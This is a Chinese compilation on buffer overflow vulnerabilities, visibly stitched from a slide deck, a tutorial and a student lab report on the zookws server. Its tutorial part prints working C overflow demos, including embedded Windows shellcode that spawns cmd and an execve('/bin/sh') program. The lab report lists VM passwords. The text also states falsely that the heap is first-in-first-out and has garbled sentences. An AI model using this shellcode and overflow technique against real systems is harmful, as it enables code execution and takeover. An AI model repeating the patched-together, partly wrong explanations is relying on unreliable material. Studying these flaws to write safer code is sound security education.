缓冲区溢出漏洞分析36页PPT

摘要：正文：大纲：1.引言；随着网络安全技术的飞速发展，缓冲区溢出漏洞已经成为当前最具安全威胁的漏洞之一，缓冲区溢出攻击也成为一种非常有效而常见的攻击方法。

如Internet上的第1例蠕虫(Morris)攻击，就是利用了fingerd的缓冲区溢出漏洞。

SANS评选出的2005年威胁最大的20个漏洞中，有8个跟缓冲区溢出有关。

根据CNCERT最近几周的计算机安全漏洞的统计数据，与缓冲区溢出有关的安全事件占了很大的比例。

这些都充分说明了研究缓冲区溢出的重要性。

本文主要介绍了windows下的缓冲区溢出的相关知识。

2.漏洞原因和原理；2.1 产生原因；当向一个已分配了确定存储空间的缓冲区内复制多于该缓冲区处理能力的数据时，就会发生缓冲区溢出，溢出包括堆溢出和堆栈溢出。

它与程序在内存中的分布有关，而它产生的直接原因是由于C/C++程序中的一些函数调用时，没有进行边界检查，如C函数库中的strcpy()，strcat()，sprintf()，gets()等都是不安全的。

由上面的分析可知要产生缓冲区溢出,需要有几个条件: 1) 程序编译时在堆栈上分配了固定大小的缓冲区,并且在对缓冲区进行访问时没有提供边界检查。

这条在C/C ++语言中就满足,而对于有边界检查的语言,如Pascal 等,就没有这样的溢出问题。

2) 程序调用了没有进行边界检查的函数来访问(写操作) 缓冲区,这些函数没有对访问的缓冲区的大小进行判断。

由于在C语言中,字符串以0字节来标识结尾,其中没有字符串的长度信息,所以几个没有判断字符串长度的字符串拷贝函数就是容易出现问题的函数。

这些函数有: strcat()、strcpy()、sprintf()等。

3) 即使程序使用了上面所说的问题函数也不一定会出现溢出漏洞,漏洞发生的最后一个条件是程序员由于粗心,未检查用户输入数据的长度就将其直接复制到缓冲区中去。

虽然这看起来是一件小事,很容易杜绝。

可惜的是正因为有大量粗心的程序员的存在,使得溢出漏洞变得非常的普遍。

第三讲缓冲区溢出n1 缓冲区溢出问题简介n2 几种典型的缓冲区溢出n3 防范措施缓冲区溢出1 缓冲区溢出问题简介缓冲区溢出是一种常见的漏洞.据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上.这种错误的状态发生在写入内存的数据超过了分配给缓冲区的大小的时候,就像一个杯子只能盛一定量的水,如果放到杯子中的水太多,多余的水就会一出到别的地方。

由于缓冲区溢出，相邻的内存地址空间被覆盖，造成软件出错或崩溃。

如果没有采取限制措施，可以使用精心设计的输入数据使缓冲区溢出，从而导致安全问题。

缓冲区溢出缓冲区溢出问题的历史很长一段时间以来,缓冲区溢出都是一个众所周知的安全问题, C程序的缓冲区溢出问题早在70年代初就被认为是C语言数据完整性模型的一个可能的后果。

这是因为在初始化、拷贝或移动数据时，C语言并不自动地支持内在的数组边界检查。

虽然这提高了语言的执行效率，但其带来的影响及后果却是深远和严重的。

•1988年Robert T. Morris的finger蠕虫程序.这种缓冲区溢出的问题使得Internet几乎限于停滞,许多系统管理员都将他们的网络断开,来处理所遇到的问题. •1989年Spafford提交了一份关于运行在VAX机上的BSD版UNIX的fingerd的缓冲区溢出程序的技术细节的分析报告，引起了部分安全人士对这个研究领域的重视•1996年出现了真正有教育意义的第一篇文章, Aleph One在Underground发表的论文详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。

缓冲区溢出Aleph One的贡献还在于给出了如何写开一个shell的Exploit的方法，并给这段代码赋予shellcode的名称，而这个称呼沿用至今，我们现在对这样的方法耳熟能详--编译一段使用系统调用的简单的C程序，通过调试器抽取汇编代码，并根据需要修改这段汇编代码。

•1997年Smith综合以前的文章，提供了如何在各种Unix变种中写缓冲区溢出Exploit更详细的指导原则。

缓冲区溢出漏洞IBM软件研究院缓冲区溢出漏洞，是一种在软件中最容易发生的漏洞。

它发生的原理是，由于软件在处理用户数据时使用了不限边界的拷贝，导致程序内部一些关键的数据被覆盖，引发了严重的安全问题。

缓冲区指的是操作系统中用来保存临时数据的空间，一般分为栈和堆两种缓冲区类型。

缓冲区溢出漏洞是一种非常普通、非常危险的漏洞，在各种操作系统、应用软件，甚至是Web应用程序中广泛存在。

利用缓冲区溢出攻击，可以导致程序运行失败、系统当机、重新启动等后果。

更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。

在当前网络与操作系统安全中，50%以上的攻击都是来自于缓冲区溢出漏洞。

而缓冲区溢出中，最为危险的是栈溢出，因为入侵者可以利用栈溢出，在函数返回时改变返回程序的地址，让其跳转到任意地址，带来的一种是程序崩溃导致拒绝服务，另外一种就是跳转并且执行一段恶意代码，然后为所欲为。

这里要澄清一个概念，很多人把缓冲区溢出称之为堆栈溢出漏洞，其实是错误的，堆溢出和栈溢出是两个不同的概念，都属于缓冲区溢出。

平时听说的缓冲区溢出大部分都是属于栈溢出。

由于程序在实现的过程中，往往会自定义一些内存空间来负责接受或者存储数据，这些被直接定义的空间大小是有限的，因此当程序将过多的数据不经检查而直接放入这些空间中时，就会发生栈溢出。

栈溢出最为直接的危害是，这些被过量放进内存空间的数据会将函数的返回地址覆盖。

“返回地址”的概念来自于CPU处理指令的结构设计。

如果程序现在准备调用一个函数，CPU首先会将执行完这个函数后将要执行的指令地址存储到栈空间中，然后CPU开始执行函数，执行完毕，CPUCPU取出前面保存的指令地址，然后接着执行。

这个“返回地址”是保存在栈空间中的，而程序一般定义的空间也是在栈中进行分配的，这就给了我们覆盖这个“返回地址”的机会。

栈是一个先进后出的空间，而堆则恰恰相反，是一个先进先出的空间。

缓冲区溢出详解缓冲区溢出（Buffer Overflow）是计算机安全领域内既经典⽽⼜古⽼的话题。

随着计算机系统安全性的加强，传统的缓冲区溢出攻击⽅式可能变得不再奏效，相应的介绍缓冲区溢出原理的资料也变得“⼤众化”起来。

其中看雪的《0day安全：软件漏洞分析技术》⼀书将缓冲区溢出攻击的原理阐述得简洁明了。

本⽂参考该书对缓冲区溢出原理的讲解，并结合实际的代码实例进⾏验证。

不过即便如此，完成⼀个简单的溢出代码也需要解决很多书中⽆法涉及的问题，尤其是⾯对较新的具有安全特性的编译器——⽐如MS的Visual Studio2010。

接下来，我们结合具体代码，按照对缓冲区溢出原理的循序渐进地理解⽅式去挖掘缓冲区溢出背后的底层机制。

⼀、代码 <=> 数据顾名思义，缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据，就像往杯⼦⾥倒⼊了过量的⽔⼀样。

通常情况下，缓冲区溢出的数据只会破坏程序数据，造成意外终⽌。

但是如果有⼈精⼼构造溢出数据的内容，那么就有可能获得系统的控制权！如果说⽤户（也可能是⿊客）提供了⽔——缓冲区溢出攻击的数据，那么系统提供了溢出的容器——缓冲区。

缓冲区在系统中的表现形式是多样的，⾼级语⾔定义的变量、数组、结构体等在运⾏时可以说都是保存在缓冲区内的，因此所谓缓冲区可以更抽象地理解为⼀段可读写的内存区域，缓冲区攻击的最终⽬的就是希望系统能执⾏这块可读写内存中已经被蓄意设定好的恶意代码。

按照冯·诺依曼存储程序原理，程序代码是作为⼆进制数据存储在内存的，同样程序的数据也在内存中，因此直接从内存的⼆进制形式上是⽆法区分哪些是数据哪些是代码的，这也为缓冲区溢出攻击提供了可能。

图1 进程地址空间分布图1是进程地址空间分布的简单表⽰。

代码存储了⽤户程序的所有可执⾏代码，在程序正常执⾏的情况下，程序计数器（PC指针）只会在代码段和操作系统地址空间（内核态）内寻址。

数据段内存储了⽤户程序的全局变量，⽂字池等。

缓冲区溢出漏洞实验⼀、实验简介缓冲区溢出是指程序试图向缓冲区写⼊超出预分配固定长度数据的情况。

这⼀漏洞可以被恶意⽤户利⽤来改变程序的流控制，甚⾄执⾏代码的任意⽚段。

这⼀漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

原理详解：缓冲区是内存中存放数据的地⽅。

在程序试图将数据放到机器内存中的某⼀个位置的时候，因为没有⾜够的空间就会发⽣缓冲区溢出。

⽽⼈为的溢出则是有⼀定企图的，攻击者写⼀个超过缓冲区长度的字符串，植⼊到缓冲区，然后再向⼀个有限空间的缓冲区中植⼊超长的字符串，这时可能会出现两个结果：⼀是过长的字符串覆盖了相邻的存储单元，引起程序运⾏失败，严重的可导致系统崩溃；另⼀个结果就是利⽤这种漏洞可以执⾏任意指令，甚⾄可以取得系统root特级权限。

缓冲区是程序运⾏的时候机器内存中的⼀个连续块，它保存了给定类型的数据，随着动态分配变量会出现问题。

⼤多时为了不占⽤太多的内存，⼀个有动态分配变量的程序在程序运⾏时才决定给它们分配多少内存。

如果程序在动态分配缓冲区放⼊超长的数据，它就会溢出了。

⼀个缓冲区溢出程序使⽤这个溢出的数据将汇编语⾔代码放到机器的内存⾥，通常是产⽣root权限的地⽅。

仅仅单个的缓冲区溢出并不是问题的根本所在。

但如果溢出送到能够以root权限运⾏命令的区域，⼀旦运⾏这些命令，那可就等于把机器拱⼿相让了。

通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从⽽破坏程序的堆栈，进⽽运⾏精⼼准备的指令，以达到攻击的⽬的。

⼆、缓冲区溢出实例1、利⽤数组越界进⾏缓冲区溢出#include<stdio.h>void HelloWord(){printf("Hello World");getchar();}void Fun(){int arr[5] = {1,2,3,4,5};arr[6] = (int) HelloWord;}int main(){Fun();return 0;}2、利⽤strcpy()函数进⾏缓冲区溢出攻击#include "stdafx.h"#include <stdio.h>#include <string.h>char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65""\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F""\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73""\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79""\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00""\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00""\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33""\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B""\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54""\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B""\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C""\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";#pragma comment(linker, "/section:.data,RWE")void Sub_3(){__asm{mov eax, offset shellcode3jmp eax}}void overflow(const char* input){char buf[8];printf("Virtual address of 'buf' = Ox%p\n", buf);strcpy(buf, input);}void fun(){printf("Function 'fun' has been called without an explicitly invocation.\n");printf("Buffer Overflow attack succeeded!\n");}int main(){printf("Address of 'overflow' = Ox%p\n", overflow);printf("Sddress of 'fun' = Ox%p\n", fun);printf("Sddress of 'Sub3' = Ox%p\n", Sub_3);char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00";//char input[] = "AAAAAAA";overflow(input);return 0;}3、本次实验⽤的测试代码为：#include <stdio.h>int main(){char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}⼀般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。

软件安全课程实验报告
实验二缓冲区溢出漏洞分析与验证
一、实验内容
1）本课程实验研究对象是一个Web服务器zookws，该服务器上运行一个Python的web应用zoobar，web用户之间转移一种称为zoo
bars的货币，分析web服务器的逻辑，寻找缓冲区溢出漏洞并触
发该漏洞；
2）实验环境为Ubuntu，在VMware Player虚拟机中的vm-6858运行，系统有两个账号：
root:口令6858，用来安装软件
httpd：口令6858，运行服务器和实验程序
二、实验预备
1.运行ifconfig查看ip
2.远程ssh连接
3. make编译程序
4.启动服务器
5.用浏览器访问zook服务
6.用ps命令查看当前运行的进程
三、寻找漏洞
1.实验缓冲区利用的是strcpy的缓冲区漏洞，找到代码中是否有strcpy，找到了，在dir_join中。

四、触发漏洞
1.打开服务器，启动web
2.那么就可以将原来分配的1024字节大小的缓冲区进行溢出，将请求的路径设
置很长，要超过1024，达到将代码覆盖的效果。

3.漏洞利用结果
五、实验分析与总结
这次实验让我们亲身经历了一次代码审计及缓冲区漏洞利用的过程，实验很有意思，学到的知识也非常的多，通过代码审计，在脑中便利可能的漏洞利用点，然后找出漏洞，并通过shell脚本利用漏洞来进行缓冲区溢出攻击，可以深刻的了解缓冲区漏洞的原理，在以后的审计代码中，会留意，在自己编写程序时，也会避免使用危险函数。